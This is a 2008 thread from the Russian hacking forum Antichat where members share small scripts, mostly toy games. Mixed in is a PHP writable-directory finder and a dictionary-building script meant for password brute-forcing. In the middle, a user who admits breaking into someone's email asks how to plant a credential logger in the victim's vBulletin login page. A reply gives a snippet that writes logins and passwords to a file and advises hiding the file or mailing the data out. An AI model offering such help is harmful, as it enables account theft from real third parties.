Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

08.02.2008, 14:27
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Вот и я игрушку сочинил. Правда на джаваскрипте:
PHP код:
<html>
<head>
<title>CheckFormGame</title>
<style type="text/css">
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color: green;
}
table
{
border-spacing: 0;
margin:0 auto;
border-collapse: collapse;
}
td:hover
{
background:#4D525C;
}
td
{
padding:3px;
border-top:1px solid #2A2E33;
border-left:1px solid #2A2E33;
text-align:left;
font-size:12px;
color:#B9B9BD;
background:#363940;
}
td b
{
color:#ccc;
}
a
{
text-decoration:none;
color:#ccc;
}
input, select, textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
.post
{
padding:10px;
font-family:tahoma, verdana, arial;
font-size:11px;
border: 1px solid black;
}
.dArrow
{
float:right;
font-size:14px;
font-weight:normal;
margin:0px 5px 0px 0px;
}
.dArrow a
{
border: 1px solid #DAE2E8; line-height:25px;
background-color:#fff; padding:0px 6px 3px 6px;
}
.dArrow a:hover
{
text-decoration:none;
border: 1px solid #45688E;
}
</style>
</head>
<body>
<h1>CheckFormGame by Dimi4 for Antichat</h1>
<h2>you have 20 seconds</h2>
<SCRIPT LANGUAGE="JavaScript">
//greetz antichat
///coded dy dimi4 aka nf/ http://nfdesign.org.ua
var total = 0
var play = false
function display(element) {
var now = new Date()
if (!play) {
play = true
startTime = now.getTime()
}
if (now.getTime() - startTime > 20000) {
element.checked = !element.checked
return
}
if (element.checked)
total++
else
total--
element.form.num.value = total
}
function restart(form) {
total = 0
play = false
for (var i = 1; i <= 100; ++i) {
form.elements[i].checked = false
}
}
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
document.write("<FORM><CENTER>")
document.write('<INPUT TYPE="text" VALUE="0" NAME="num" SIZE=10 onFocus="this.blur()"><BR>')
document.write("<HR SIZE=1 WIDTH=40%>")
for (var i = 0; i < 10; ++i) {
for (var j = 0; j < 10; ++j) {
document.write('<INPUT TYPE="checkbox" onClick="display(this)">')
}
document.write("<BR>")
}
document.write("<HR SIZE=1 WIDTH=40%>")
document.write('<INPUT TYPE="button" VALUE="restart" onClick="restart(this.form)">')
document.write("</CENTER></FORM>")
// -->
</SCRIPT>
<pre>
____
.-'&'-.
/ \
: o o ;
( (_ )
: ;
\ __ /
`-._____.-'
/`"""`\
/ , \
/|/\/\/\ _\
(_|/\/\/\\__)
|_______|
__)_ |_ (__
(_____|_____)</pre>
</body>
</html>
Потестить: http://nfdesign.org.ua/game.html
__________________
BlackHat. MoDL
|
|
|

09.02.2008, 01:02
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Финд вритабле директорис
PHP код:
<?php
//If open basedir is on, search the closest directory possible, otherwise search "/"
//this will take a very long time to complete
//define('path', ini_get('open_basedir') ? ini_get('open_basedir') : DIRECTORY_SEPARATOR);
//One directory before the current directory:
define('path', '..');
//Maximum number of directories to find (to save time)
//define('maxdirs', 10);
set_time_limit(0);
$writable = array();
function finddir($d = path){
global $writable;
if(defined('maxdirs')){
if(count(array_unique($writable)) >= maxdirs){
printout();
}
}
$tmp = array();
if($x = scandir($d)){
foreach($x as $y){
if(@is_dir($d . DIRECTORY_SEPARATOR . $y)){
if($y != ".." && $y != "."){
array_push($tmp, $y);
$real = $d . DIRECTORY_SEPARATOR . $y;
}
}
foreach($tmp as $t){
if(@is_writable($d . DIRECTORY_SEPARATOR . $t)){
array_push($writable, $d . DIRECTORY_SEPARATOR . $t);
}
finddir($real);
}
}
}
}
function printout(){
global $writable;
?><p><b>Writable directories:</b></p>
<textarea rows=<?php echo(count(array_unique($writable))); ?> cols=50><?php
echo(($writable ? implode("\n", array_unique($writable)) : "No writable directories found.") . "\n</textarea>");
die();
}
finddir();
printout();
?>
|
|
|

10.02.2008, 01:24
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Крестики-нолики. Код получился на 10 кб (в 2 раза больше покера).
PHP код:
<?php
session_start();
echo('<title>Крестки-нолики</title>');
if(!$_SESSION['wins'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['wins'] = 0;}
if(!$_SESSION['lose'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['lose'] = 0;}
if(!$_SESSION['x']) {
$_SESSION['x'] = array();
}
if(!$_SESSION['o']) {
$_SESSION['o'] = array();
}
function session_kill() {
unset($_SESSION['x']);
unset($_SESSION['o']);
}
function is_won($array) {
if((in_array(1, $array) && in_array(2, $array) && in_array(3, $array)) || (in_array(1, $array) && in_array(4, $array) && in_array(7, $array)) || (in_array(1, $array) && in_array(5, $array) && in_array(9, $array)) || (in_array(2, $array) && in_array(5, $array) && in_array(8, $array)) || (in_array(3, $array) && in_array(6, $array) && in_array(9, $array)) || (in_array(3, $array) && in_array(5, $array) && in_array(7, $array)) || (in_array(4, $array) && in_array(5, $array) && in_array(6, $array)) || (in_array(7, $array) && in_array(8, $array) && in_array(9, $array))) {
return true;
} else {
return false;
}
}
if($_GET['place'] && !in_array($_GET['place'], array_merge($_SESSION['x'], $_SESSION['o'])) && $_GET['place'] < 10 && $_GET['place'] > 0) {
$_SESSION['x'][] = $_GET['place'];
function rand_place() {
if(!in_array(5, $_SESSION['x']) && !in_array(5, $_SESSION['o'])) {
return 5;
} else {
$place = rand(1,9);
if(!in_array($place, $_SESSION['x']) && !in_array($place, $_SESSION['o'])) {
return $place;
} else {
return rand_place();
}
}
}
if(count(array_merge($_SESSION['x'], $_SESSION['o'])) != 9 && !is_won($_SESSION['x'])) {
if(((in_array(2, $_SESSION['o']) && in_array(3, $_SESSION['o'])) || (in_array(4, $_SESSION['o']) && in_array(7, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(9, $_SESSION['o']))) && !in_array(1, $_SESSION['o']) && !in_array(1, $_SESSION['x'])) {
$_SESSION['o'][] = 1;
} elseif(((in_array(1, $_SESSION['o']) && in_array(3, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(8, $_SESSION['o']))) && !in_array(2, $_SESSION['o']) && !in_array(2, $_SESSION['x'])) {
$_SESSION['o'][] = 2;
} elseif(((in_array(1, $_SESSION['o']) && in_array(2, $_SESSION['o'])) || (in_array(6, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(3, $_SESSION['o']) && !in_array(3, $_SESSION['x'])) {
$_SESSION['o'][] = 3;
} elseif(((in_array(5, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(4, $_SESSION['o']) && !in_array(4, $_SESSION['x'])) {
$_SESSION['o'][] = 4;
} elseif(((in_array(4, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(2, $_SESSION['o']) && in_array(8, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(5, $_SESSION['o']) && !in_array(5, $_SESSION['x'])) {
$_SESSION['o'][] = 5;
} elseif(((in_array(4, $_SESSION['o']) && in_array(5, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(9, $_SESSION['o']))) && !in_array(6, $_SESSION['o']) && !in_array(6, $_SESSION['x'])) {
$_SESSION['o'][] = 6;
} elseif(((in_array(8, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(4, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(7, $_SESSION['o']) && !in_array(7, $_SESSION['x'])) {
$_SESSION['o'][] = 7;
} elseif(((in_array(7, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(2, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(8, $_SESSION['o']) && !in_array(8, $_SESSION['x'])) {
$_SESSION['o'][] = 8;
} elseif(((in_array(7, $_SESSION['o']) && in_array(8, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(9, $_SESSION['o']) && !in_array(9, $_SESSION['x'])) {
$_SESSION['o'][] = 9;
} elseif(((in_array(2, $_SESSION['x']) && in_array(3, $_SESSION['x'])) || (in_array(4, $_SESSION['x']) && in_array(7, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(9, $_SESSION['x']))) && !in_array(1, $_SESSION['x']) && !in_array(1, $_SESSION['o'])) {
$_SESSION['o'][] = 1;
} elseif(((in_array(1, $_SESSION['x']) && in_array(3, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(8, $_SESSION['x']))) && !in_array(2, $_SESSION['x']) && !in_array(2, $_SESSION['o'])) {
$_SESSION['o'][] = 2;
} elseif(((in_array(1, $_SESSION['x']) && in_array(2, $_SESSION['x'])) || (in_array(6, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(3, $_SESSION['x']) && !in_array(3, $_SESSION['o'])) {
$_SESSION['o'][] = 3;
} elseif(((in_array(5, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(4, $_SESSION['x']) && !in_array(4, $_SESSION['o'])) {
$_SESSION['o'][] = 4;
} elseif(((in_array(4, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(2, $_SESSION['x']) && in_array(8, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(5, $_SESSION['x']) && !in_array(5, $_SESSION['o'])) {
$_SESSION['o'][] = 5;
} elseif(((in_array(4, $_SESSION['x']) && in_array(5, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(9, $_SESSION['x']))) && !in_array(6, $_SESSION['x']) && !in_array(6, $_SESSION['o'])) {
$_SESSION['o'][] = 6;
} elseif(((in_array(8, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(4, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(7, $_SESSION['x']) && !in_array(7, $_SESSION['o'])) {
$_SESSION['o'][] = 7;
} elseif(((in_array(7, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(2, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(8, $_SESSION['x']) && !in_array(8, $_SESSION['o'])) {
$_SESSION['o'][] = 8;
} elseif(((in_array(7, $_SESSION['x']) && in_array(8, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(9, $_SESSION['x']) && !in_array(9, $_SESSION['o'])) {
$_SESSION['o'][] = 9;
} else {
$_SESSION['o'][] = rand_place();
}
}
}
if(!is_won($_SESSION['x']) && !is_won($_SESSION['o']) && count(array_merge($_SESSION['x'], $_SESSION['o'])) != 9) {
?>
<script>
function add(element) {
if(element.innerHTML != 'O' && element.innerHTML != 'X') {
document.location.href = '<?php echo($_SERVER['PHP_SELF']); ?>?place='+element.id;
} else {
alert('Здесь ставить нельзя');
}
}
function over(element, str) {
if(element.innerHTML != 'O' && element.innerHTML != 'X') {
element.innerHTML = ' '+str+' ';
}
}
</script>
<?php
}
?>
<table style="font-size: 40px; text-align: center; cursor: pointer;">
<tr>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="1"><?php if(in_array(1, $_SESSION['x'])) { echo('X'); } elseif(in_array(1, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="2"><?php if(in_array(2, $_SESSION['x'])) { echo('X'); } elseif(in_array(2, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="3"><?php if(in_array(3, $_SESSION['x'])) { echo('X'); } elseif(in_array(3, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
</tr><tr>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="4"><?php if(in_array(4, $_SESSION['x'])) { echo('X'); } elseif(in_array(4, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="5"><?php if(in_array(5, $_SESSION['x'])) { echo('X'); } elseif(in_array(5, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="6"><?php if(in_array(6, $_SESSION['x'])) { echo('X'); } elseif(in_array(6, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
</tr><tr>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="7"><?php if(in_array(7, $_SESSION['x'])) { echo('X'); } elseif(in_array(7, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="8"><?php if(in_array(8, $_SESSION['x'])) { echo('X'); } elseif(in_array(8, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
<td style="width: 50px; height: 40px;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, ' ')" id="9"><?php if(in_array(9, $_SESSION['x'])) { echo('X'); } elseif(in_array(9, $_SESSION['o'])) { echo('O'); } else { echo(' '); } ?></td>
</tr>
</table>
<?php
if(is_won($_SESSION['x'])) {
echo('<font color="Green"><b>Вы выиграли</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
$_SESSION['wins']++;
} elseif(is_won($_SESSION['o'])) {
echo('<font color="Green"><b>Вы проиграли</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
$_SESSION['lose']++;
} else {
if(count(array_merge($_SESSION['x'], $_SESSION['o'])) == 9) {
echo('<font color="Green"><b>Ничья</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
}
}
echo('<div style="position: absolute; top: 5%; right: 5%;"><table width="200"><td>Побед:</td><td><b>'.$_SESSION['wins'].'</b></td></tr><tr><td>Проигрышей:</td><td><b>'.$_SESSION['lose'].'</b></td></tr></table><div align="center"><a href="'.$_SERVER['PHP_SELF'].'?clear_score">Очистить счёт</a></div></div></body>');
?>
Пример скрипта.
Последний раз редактировалось NOmeR1; 10.02.2008 в 13:02..
|
|
|

10.02.2008, 05:03
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
NOmeR1, гыгы
x-o.php?place=11
x-o.php?place=12
x-o.php?place=13
x-o.php?place=14
x-o.php?place=15
|
|
|

11.02.2008, 12:05
|
|
Познающий
Регистрация: 29.12.2007
Сообщений: 39
Провел на форуме: 180247
Репутация:
-10
|
|
Помогите модификацировать php код, чтобы логи и пароль сохранялись в файл в открытом виде для тех, кто логинится..
|
|
|

11.02.2008, 15:28
|
|
Участник форума
Регистрация: 31.08.2006
Сообщений: 149
Провел на форуме: 1763379
Репутация:
155
|
|
PHP код:
$login = '';
$password = '';
$f = fopen('password.txt', 'ab');
fwrite($f, $login.":".$password."\r\n -------------\r\n");
fclose($f);
Запись данных в файл, в открытом виде.
Не понял твой вопрос.
|
|
|

11.02.2008, 15:43
|
|
Познающий
Регистрация: 29.12.2007
Сообщений: 39
Провел на форуме: 180247
Репутация:
-10
|
|
Сообщение от cylaaaan
Не понял твой вопрос.
Ситуация токая. Попал я к отдому челу на мыло.
Там оказались логины и пароли от ФТП сервера и от сайта, т.е логины Админа. Так вот мне посаветовали модифецировать код от страницы жертвы, что бы логины и пароли хранились в файле в открытом тексте. А я в програмирование не селён.
|
|
|

11.02.2008, 16:38
|
|
Участник форума
Регистрация: 31.08.2006
Сообщений: 149
Провел на форуме: 1763379
Репутация:
155
|
|
Да, в файле авторизации можно добавить вредоносный код, который, параллельно, отправлял бы данные на почту или просто оставлял бы на сервере в одном .txt файле - как у меня написано в примере, остается только заменить переменные и уточнить путь сохранения файла (куда нибудь, что бы безпалевно было)
Для начала нужно разобраться в самом коде файла авторизации... Ты хотя бы скажи какая там система (Wordpress, и тд) а потом уже можно будет пробовать. Ничего сложного, я думаю. Но если ты вообще дуб в php, то лучше не браться самому.
Последний раз редактировалось cylaaaan; 11.02.2008 в 16:41..
|
|
|

12.02.2008, 01:56
|
|
Познающий
Регистрация: 29.12.2007
Сообщений: 39
Провел на форуме: 180247
Репутация:
-10
|
|
Сообщение от cylaaaan
Но если ты вообще дуб в php, то лучше не браться самому.
Да я в этом полный дуб, вот и прошу о помощи.
Ты хотя бы скажи какая там система
vBulletin® Version 3.6.8.
Для начала нужно разобраться в самом коде файла авторизации...
А какой нужен.
отправлял бы данные на почту
А это вообще былобы не плохо.
|
|
|

12.02.2008, 18:14
|
|
Новичок
Регистрация: 04.07.2007
Сообщений: 16
Провел на форуме: 109029
Репутация:
22
|
|
Вот написал скрипт, который переводит русские слова в транслит и на английскую раскладку qwerty-клавиатур, и записывает их в отдельные файлы, полезно при составлении словарей для брута, может кому пригодится как и мне. Конструкция правда громоздкая получилась, но у меня еще опыта мало, строго не судите =)
PHP код:
<?
$file = file_get_contents('rus.txt');
$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$eng_s = array('sch','zh','ts', 'ch','sh','yu', 'ya','a', 'b', 'v', 'g', 'd', 'e', 'e', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', '', 'y', '', 'e');
$file = str_replace($rus_s, $eng_s, $file);
$file1 = fopen('translit.txt', 'w');
fwrite($file1, $file);
fclose($file1);
$file = file_get_contents('rus.txt');
$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$qwer_s = array('o',';','w', 'x','i','.', 'z','f', 'd', 'd', 'u', 'l', 't', '`', 'p', 'b', 'q', 'r', 'k', 'v', 'y', 'j', 'g', 'h', 'c', 'n', 'e', 'a', '[', ']', 's', 'm', '\'');
$file = str_replace($rus_s, $qwer_s, $file);
$file1 = fopen('qwer.txt', 'w');
fwrite($file1, $file);
fclose($file1);
?>
rus.txt первоначальный файл со словарем русского языка, нужно положить в дирикторию скрипта =)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|